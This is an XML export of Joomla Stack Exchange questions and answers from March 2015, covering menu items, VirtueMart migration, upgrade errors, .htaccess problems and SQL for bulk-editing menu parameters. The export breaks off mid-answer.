  <row Id="9085" PostTypeId="1" CreationDate="2015-03-15T19:44:41.590" Score="2" ViewCount="767" Body="&lt;p&gt;I'm having a bit of a problem with one of our sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a home page on my site which is a 'Category Blog' menu item. The page shows the latest article from the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when you click on the blog title or the 'read more' link, I would hope that you would be taken to the blog page and shown just this article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately however, the home page is displayed, along with all of the modules on the home page and the full article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is that if you click on the article title or 'read more' link, you are taken to the single article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make sense? How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2016-01-04T12:20:42.113" Title="Joomla 'Category Blog' Menu Item Issues" Tags="|menu-item|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9086" PostTypeId="1" CreationDate="2015-03-15T22:47:51.727" Score="2" ViewCount="843" Body="&lt;p&gt;I am a Drupal developer and now I am trying to create web using Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create new content type &quot;Product&quot;&lt;/li&gt;&#xA;&lt;li&gt;Create few fields to content types - e.g. price&lt;/li&gt;&#xA;&lt;li&gt;Create order form which is visible only on Product pages&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Text field in form with default value - actual url&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is the best way and best plugins to accomplish these tasks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried Seblod - I can create new content types, fields and forms but I don't know how to show the form just on product pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!&lt;/p&gt;&#xA;" OwnerUserId="3891" LastEditorUserId="3650" LastEditDate="2016-03-08T00:27:18.703" LastActivityDate="2018-02-28T00:40:05.507" Title="Content type with own fields and form" Tags="|content|cck|seblod|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9087" PostTypeId="1" AcceptedAnswerId="9091" CreationDate="2015-03-16T02:41:29.513" Score="0" ViewCount="834" Body="&lt;p&gt;It's possible to add a &lt;strong&gt;JModelList functionalities&lt;/strong&gt; in &lt;strong&gt;JModelItem&lt;/strong&gt;? for instance on my component site part a &quot;specific item&quot; is associated with files whereis you can add the files for a specific item using another component. once I selected that Item in the menu just like how we did in adding our article in the frontend. once you navigate to the &quot;&lt;strong&gt;Item&lt;/strong&gt;&quot; you see the list of files associated with the item? however if I didn't add the functionality of the &lt;strong&gt;JModelList&lt;/strong&gt; pagination would not work. how I can add the functionalities of &lt;strong&gt;JModelList&lt;/strong&gt; in &lt;strong&gt;JModelItem&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-03-16T10:02:22.613" Title="Joomla 3 JModelItem with JModelList" Tags="|component|content|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9088" PostTypeId="1" CreationDate="2015-03-16T05:19:28.890" Score="1" ViewCount="489" Body="&lt;p&gt;My site was in Joomla 1.5 and I migrated it to Joomla 3.3. In my older site ie in Joomla 1.5 site there is virtuemart installed I want to migrate virtuemart to my new Joomla 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="1943" LastEditorUserId="3650" LastEditDate="2016-11-13T11:02:17.703" LastActivityDate="2016-11-13T11:02:17.703" Title="Migrate Virtuemart from Joomla 1.5 to Joomla 3.3" Tags="|joomla-3.x|joomla-3.3.x|virtuemart|joomla-1.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9090" PostTypeId="2" ParentId="9088" CreationDate="2015-03-16T09:13:22.070" Score="3" Body="&lt;p&gt;If you want to preserve your sanity, don't even try to perform migration manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Daycounts VM Migrator &lt;a href=&quot;https://www.daycounts.com/shop/virtuemart-3/virtuemart-2-migrator.htm&quot; rel=&quot;nofollow&quot;&gt;https://www.daycounts.com/shop/virtuemart-3/virtuemart-2-migrator.htm&lt;/a&gt; for migrating five (5) VM1 shops to VM2 in Joomla 2.5, and I have only words of praise for that extension's quality, stability and scalability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's latest version now supports migrating to VM3 and Joommla 3 itself, and I Highly Recommend It to everyone in need of VM shop migration. &lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-09-15T09:49:20.457" LastActivityDate="2016-09-15T09:49:20.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9091" PostTypeId="2" ParentId="9087" CreationDate="2015-03-16T10:02:22.613" Score="0" Body="&lt;p&gt;Looking on you current design I advice you to do vice versa - use &lt;code&gt;JModelList&lt;/code&gt; as a base class and add functionality of &lt;code&gt;JModelItem&lt;/code&gt; if you will need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can create the class for files extending &lt;code&gt;JModelList&lt;/code&gt; and get the items and pagination from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway you can do anything you want. It is not obligate to follow the rules of CMS. You are the developer and architect.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-03-16T10:02:22.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9093" PostTypeId="2" ParentId="9081" CreationDate="2015-03-16T11:34:58.427" Score="2" Body="&lt;p&gt;Followed Lodder's instructions on how to set up a virtual host here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4156/virtual-host-for-joomla&quot;&gt;Virtual host for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which solved the problem for me&lt;/p&gt;&#xA;" OwnerUserId="3887" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-03-16T13:13:02.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9094" PostTypeId="1" AcceptedAnswerId="9095" CreationDate="2015-03-16T12:18:51.333" Score="0" ViewCount="432" Body="&lt;p&gt;Well... that's my question. How can I remove my VM products without losing my VM configuration.&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-03-16T12:45:37.567" Title="How to remove all VM products without losing VM configuration" Tags="|joomla-3.x|virtuemart|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9095" PostTypeId="2" ParentId="9094" CreationDate="2015-03-16T12:45:37.567" Score="0" Body="&lt;p&gt;One to do this, is to open PhpMyAdmin and go to the &lt;code&gt;#__virtuemart_products&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, you check all products and delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can open the SQL tab and type in the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TRUNCATE xxxx_virtuemart_products&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;xxxx&lt;/code&gt; is your database table prefix.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-16T12:45:37.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9097" PostTypeId="1" CreationDate="2015-03-16T14:25:27.857" Score="0" ViewCount="1320" Body="&lt;p&gt;I recentely undertook the task of  upgrading a friends site from &lt;code&gt;Joomla v2.5.28&lt;/code&gt; to &lt;code&gt;Joomla v3.4.0&lt;/code&gt;. Thankfully the upgrade went smoothly and there was not many issues with incompatible plugins, components or modules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, whilst testing out the site functionality to make sure it was working as it should I noticed that on the &lt;code&gt;administrator dashboard&lt;/code&gt; when I attempt to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save an Article&lt;/li&gt;&#xA;&lt;li&gt;Save &amp;amp; Close an Article&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The sytem hangs on a blank screen with this &lt;code&gt;url&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mytestsite.com/administrator/index.php?option=com_content&amp;amp;layout=edit&amp;amp;id=301&quot; rel=&quot;nofollow&quot;&gt;http://www.mytestsite.com/administrator/index.php?option=com_content&amp;amp;layout=edit&amp;amp;id=301&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I refresh the page the page displays as normal and I can see that the changes have been applied. I'm wondering if the blank screen is the result of some sort of file permissions error or &lt;code&gt;PHP&lt;/code&gt; &#xA; error? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially had an issue where the &lt;code&gt;Save&lt;/code&gt; and &lt;code&gt;Save &amp;amp; Close&lt;/code&gt; buttons were not working but I resolved this by setting the permissions of the directories and files to &lt;code&gt;755&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing it might be related to some PHP issue but the fact that the changes are being applied makes me think different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I'd appreciate any help you guys might have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've just switched my error reporting to &lt;code&gt;maximum&lt;/code&gt; resulting in this being output on the blank page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function getTag() on a non-object in mytestsite.com/libraries/cms/application/site.php on line 328&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will continue to look into it but would appreciate any input thanks.&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2015-05-10T16:43:51.663" Title="Upgrade from Joomla 2.5.28 to Joomla 3.4.0 permissions issue" Tags="|joomla-3.x|joomla-2.5|upgrade|file-permissions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9098" PostTypeId="2" ParentId="9097" CreationDate="2015-03-16T14:35:06.193" Score="1" Body="&lt;p&gt;Joomla must always have consistent directory permissions. For example, certain operations may have to save a warning in the log/ directory. You can check directory permissions in &lt;strong&gt;System Information/Directory Permissions&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, a blank screen is a &lt;em&gt;PHP error page with PHP Error reporting in disabled state&lt;/em&gt;. Try to enable PHP Error reporting to show the underlying error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The error seems to be related with a multi-lingual misconfiguration &lt;a href=&quot;https://www.willows-consulting.com/Joomla/fatal-error-gettag-with-joomla-3-2.html&quot; rel=&quot;nofollow&quot;&gt;https://www.willows-consulting.com/Joomla/fatal-error-gettag-with-joomla-3-2.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-16T14:35:06.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9099" PostTypeId="1" CreationDate="2015-03-16T16:42:24.027" Score="1" ViewCount="4791" Body="&lt;p&gt;I used &lt;code&gt;ARTIO JoomSEF&lt;/code&gt; to make  a change to my &lt;code&gt;.htaccess&lt;/code&gt; file from the admin dashboard. The changes were a few &lt;code&gt;301 redirects&lt;/code&gt; for some old pages I had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I saved the changes I was brought to this page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Internal Server Error&#xA;The server encountered an internal error or misconfiguration and was unable to complete your request.&#xA;Please contact the server administrator, webmaster@xyz.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.&#xA;More information about this error may be available in the server error log.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I decided that I would use an &lt;code&gt;FTP client&lt;/code&gt; to access my files and check my &lt;code&gt;htaccess&lt;/code&gt; file. I noticed that the changes (301 redirects) were applied. So I decided to delete them and was left with what was originally in my &lt;code&gt;htaccess&lt;/code&gt; file  only to get this message when I tried to access any page of the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Forbidden&#xA;You don't have permission to access /administrator on this server.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what might be causing this? Or if there is anything I can do to resolve the issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2015-03-16T16:50:51.093" Title="Joomla 2.5.x 403 Forbidden" Tags="|joomla-2.5|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9100" PostTypeId="2" ParentId="9099" CreationDate="2015-03-16T16:50:51.093" Score="1" Body="&lt;p&gt;What I would suggest doing is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://joomlacode.org/gf/download/frsrelease/19918/161803/Joomla_2.5.28-Stable-Full_Package.zip&quot; rel=&quot;nofollow&quot;&gt;Re-download Joomla 2.5&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Extract the &lt;code&gt;htaccess.txt&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;Convert it to &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Upload it to your server, so you have a fresh copy of it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Instead of using 3rd party extensions to perform simple redirects for old pages, I would suggest using Joomla's built in Redirect component which you can find in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla backend&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Components&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Redirect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can enter to old URL to which it will redirect to the desired new URL.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-16T16:50:51.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9101" PostTypeId="2" ParentId="9078" CreationDate="2015-03-16T16:53:25.303" Score="1" Body="&lt;p&gt;You can disable it commenting line 510, components/com_users/models/registration.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Send the registration email.&#xA;    // $return = JFactory::getMailer()-&amp;gt;sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: This is a core hack. It has to be re-implemented in every Joomla update.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-09-03T08:33:57.570" LastActivityDate="2015-09-03T08:33:57.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9102" PostTypeId="1" CreationDate="2015-03-16T18:38:55.297" Score="0" ViewCount="508" Body="&lt;p&gt;Im trying to update to joomla! 3 from 2.5 but the update procedure do not work at all. this was the same problem i had when was trying to upgrade from 2.5.16 to 2.5.28) so its not a Joomla! 3 error.&#xA;Basically it finds the update i press the button to install it and then remains forever in the next screen saying &quot;Updating your Joomla! files. Please wait ...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aix0L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To update to 2.5.28 i copied the update with FTP hoping that a damaged file was causing the problem.&#xA;When i log in with FTP i can see that update package its downloaded in the tmp directory.&#xA;I am able to install and uninstall extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&#xA;Mike&lt;/p&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2016-03-10T18:07:12.973" Title="Update process is not responding at all" Tags="|joomla-2.5|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9105" PostTypeId="2" ParentId="9097" CreationDate="2015-03-17T08:31:45.743" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=709&amp;amp;t=825504&quot; rel=&quot;nofollow noreferrer&quot;&gt;From Joomla Forums:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;replace &amp;quot;$tag = $this-&amp;gt;getLanguage()-&amp;gt;getTag();&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;by $tag = JFactory::getLanguage()-&amp;gt;getTag();&lt;/p&gt;&#xA;&lt;p&gt;ok 100% working&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(could not do a proper quote and link to reference with a comment... so answer)&lt;/p&gt;&#xA;&lt;p&gt;Incidentally, the actual bug is apparently in some unknown extension you have installed. You might try using the debug mode so you can get a trace and isolate the extension and maybe update or replace that.&lt;/p&gt;&#xA;&lt;p&gt;I'd guess it would be a content plugin?&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-03-17T08:31:45.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9106" PostTypeId="1" CreationDate="2015-03-17T15:48:44.887" Score="1" ViewCount="103" Body="&lt;p&gt;I am planning the development of a joomla system plugin and I need an advice on how to implement it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin will be triggered in 4 or 5 events, like onBeforeRender, onAfterRender ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a better readability and maintenance which is the best approach:&#xA;- call with include in each event a file with the according task&#xA;or&#xA;- include in the main plugin all the code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate your guidance.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-03-17T17:11:58.450" Title="System plugin development" Tags="|joomla-3.x|development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9107" PostTypeId="2" ParentId="9106" CreationDate="2015-03-17T17:11:58.450" Score="5" Body="&lt;p&gt;Plugin development in Joomla is on of the most interesting task and Joomla documentation further makes it more simple and easy going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are some of the reference which you can refer for plugin development help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Plugin_Development&quot; rel=&quot;noreferrer&quot;&gt;Plugin Development&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;noreferrer&quot;&gt;Joomla Events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;noreferrer&quot;&gt;Creating  a Plugin for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With reference to your second query, well it somewhat depends upon your code.&#xA;If you think your code is not manageable within a single file then you can separate out it in different files and classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there will not be any issue if you write the complete code in a single file. What you can do to make your code manageable and look systematic is divide your code in functions and call these functions in the event.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-17T17:11:58.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9110" PostTypeId="2" ParentId="4928" CreationDate="2015-03-18T04:33:39.510" Score="1" Body="&lt;p&gt;You're using jomres and are likely importing the jr_leotian theme into a page that is not included by jomres.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is set in several places in jomres and jr_leotian, but I can't see exactly 'why' without further digging.  The variable appears to have impact to radio buttons on a custom page I built that pulls in all the scripts for jomres functionality but is not included directly by jomres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what my grep from the site root directory looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -R 'addon_animations_enable' .&#xA;./administrator/templates/isis/jomres.php: var addon_animations_enable = false;&#xA;./templates/jr_leotian/templateDetails.xml: &amp;lt;field name=&quot;addon_animations_enable&quot; type=&quot;radio&quot; default=&quot;1&quot;&#xA;./templates/jr_leotian/tpls/blocks/head.php: if ($this-&amp;gt;getParam('addon_animations_enable',1)) :&#xA;./templates/jr_leotian/tpls/blocks/head.php: var addon_animations_enable = true;&#xA;./templates/jr_leotian/tpls/blocks/head.php: var addon_animations_enable = false;&#xA;./templates/jr_leotian/js/custom.js: if (addon_animations_enable)&#xA;./templates/jr_leotian/jomres.php: var addon_animations_enable = false;&#xA;./templates/jr_leotian/html/com_jomres/custom_code/j99994jr_leotian_javascript.class.php: if (addon_animations_enable) {&#xA;./templates/hot_rain/jomres.php: var addon_animations_enable = false;&#xA;./jomres/libraries/fullscreen_view/jomres.php: var addon_animations_enable = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my custom coded pages, I simply place the following in the top of the head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;var addon_animations_enable = false;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried true and false with no noticeable or functional difference to user experience in fullscreen or mobile views.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2015-03-18T04:33:39.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9111" PostTypeId="1" AcceptedAnswerId="9114" CreationDate="2015-03-18T06:04:44.683" Score="0" ViewCount="834" Body="&lt;p&gt;I need to display data in an article in tabular form.&lt;br&gt;&#xA;I am using sourcerer by NoNumber for adding the select code in the article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') OR die(&quot;Restricted access&quot;); &#xA;$user =&amp;amp;JFactory::getUser();&#xA;$db =&amp;amp;JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('*');&#xA;$query-&amp;gt;from('#__bat_score'); &#xA;$query-&amp;gt;where('id = 1');   //put your condition here    &#xA;$db-&amp;gt;setQuery($query);&#xA;//echo $db-&amp;gt;getQuery();exit;&#xA;if ($db-&amp;gt;getErrorNum()) {&#xA;  echo $db-&amp;gt;getErrorMsg();&#xA;  exit;&#xA;}&#xA;return $db-&amp;gt;loadObjectList();&#xA;&#xA;// from Joomla Resources &#xA;// the current code is not showing anything &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;The error i'm getting is like in this image:&#xA;&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bbX0k.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The desired output is displaying the rows of the mysql table in a html table.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest some guidance on this as the best method to show the database data in the articles.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="126" LastEditDate="2016-01-21T23:15:01.070" LastActivityDate="2016-01-21T23:15:01.070" Title="Select code not working in article Joomla 3" Tags="|joomla-3.x|articles|database|jdatabase|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9113" PostTypeId="2" ParentId="9111" CreationDate="2015-03-18T11:01:02.707" Score="-1" Body="&lt;p&gt;you don't need a third party extension you can copy the article view in your template html folder and then add your custom code (better with a content plugin), but you can get your data with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery('select * from #__bat_score where id = 1');&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;if(count($rows)) {&#xA;echo '&amp;lt;table&amp;gt;';&#xA;foreach($rows as $row) {&#xA;//print your table rows&#xA;}&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-03-18T11:01:02.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9114" PostTypeId="2" ParentId="9111" CreationDate="2015-03-18T11:25:58.650" Score="1" Body="&lt;p&gt;First, remove the following line of code as you won't need it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') OR die(&quot;Restricted access&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, you are returning something but you're only supposed to return in functions. In your case, all you need to do is echo the values, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$user   = JFactory::getUser();&#xA;$db     = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array('*'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__bat_score'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = 1');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;if ($db-&amp;gt;getErrorNum()) &#xA;{&#xA;  echo $db-&amp;gt;getErrorMsg();&#xA;  exit;&#xA;}&#xA;&#xA;echo '&amp;lt;table&amp;gt;';&#xA;foreach ($rows as $row)&#xA;{&#xA;    echo '&amp;lt;tr&amp;gt;';&#xA;    echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;COLUMN_NAME   . '&amp;lt;/td&amp;gt;'; &#xA;    echo '&amp;lt;td&amp;gt;' . $row-&amp;gt;COLUMN_NAME_2 . '&amp;lt;/td&amp;gt;'; &#xA;    echo '&amp;lt;/tr&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You of course need to change &lt;code&gt;COLUMN_NAME&lt;/code&gt; to whatever your column name if for your database table.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-18T13:40:50.410" LastActivityDate="2015-03-18T13:40:50.410" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="9117" PostTypeId="1" AcceptedAnswerId="9118" CreationDate="2015-03-18T13:05:55.150" Score="2" ViewCount="782" Body="&lt;p&gt;I've got a site with few hundreds menu items. I need to change one parameter in &lt;strong&gt;all of them&lt;/strong&gt;. Right now in most of the pages &quot;Show page heading&quot; paremeter is set to &quot;No&quot;. I need it to be set to &quot;Use global&quot; in all menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's possible from backend so I went to database and found 'menu' table containing all the menu items. Unfortunatelly parameter &quot;show_page_heading&quot; is inside large JSON data structure. All of the settings stored there must be kept except for the &quot;show_page_heading&quot;, which must be changed from 0 or 1 to &quot;&quot; (empty string) . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that?&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditDate="2015-03-18T14:41:49.570" LastActivityDate="2015-09-17T21:14:34.433" Title="Change &quot;Show page heading&quot; param for every menu item" Tags="|menu|database|menu-parameters|batch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9118" PostTypeId="2" ParentId="9117" CreationDate="2015-03-18T14:10:46.030" Score="6" Body="&lt;p&gt;I believe you'll need to use SQL statements such as below.  But be CAREFUL - &lt;strong&gt;BACKUP THE TABLE FIRST&lt;/strong&gt; to be sure that you can restore it if there are more considerations than you've realized at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be combined into a single SQL statement, but for clarity of what you're doing, run each of them&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE xxx_menu &#xA;SET params = REPLACE(&#xA;    params,&#xA;    'show_page_heading&quot;:&quot;1&quot;',&#xA;    'show_page_heading&quot;:&quot;&quot;'&#xA;  ) &#xA;WHERE params LIKE '%show_page_heading&quot;:&quot;1&quot;%' &#xA;&#xA;UPDATE xxx_menu &#xA;SET params = REPLACE(&#xA;    params,&#xA;    'show_page_heading&quot;:&quot;0&quot;',&#xA;    'show_page_heading&quot;:&quot;&quot;'&#xA;  ) &#xA;WHERE params LIKE '%show_page_heading&quot;:&quot;0&quot;%' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is/was a pending edit about that very last line of the 2nd SQL statement.  I've reject the edit because I want to retain the clarity that the 1st statement is changing the records that have &quot;1&quot; as a value, and the 2nd statement is changing the records that have a &quot;0&quot; as a value.  Both statements set the database value to &quot;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's debatable which is &quot;correct&quot;, but separating and explaining both should remain for clarity of what is happening, and allow the user to alter as necessary for the particular circumstance.  I had records with &quot;&quot; and 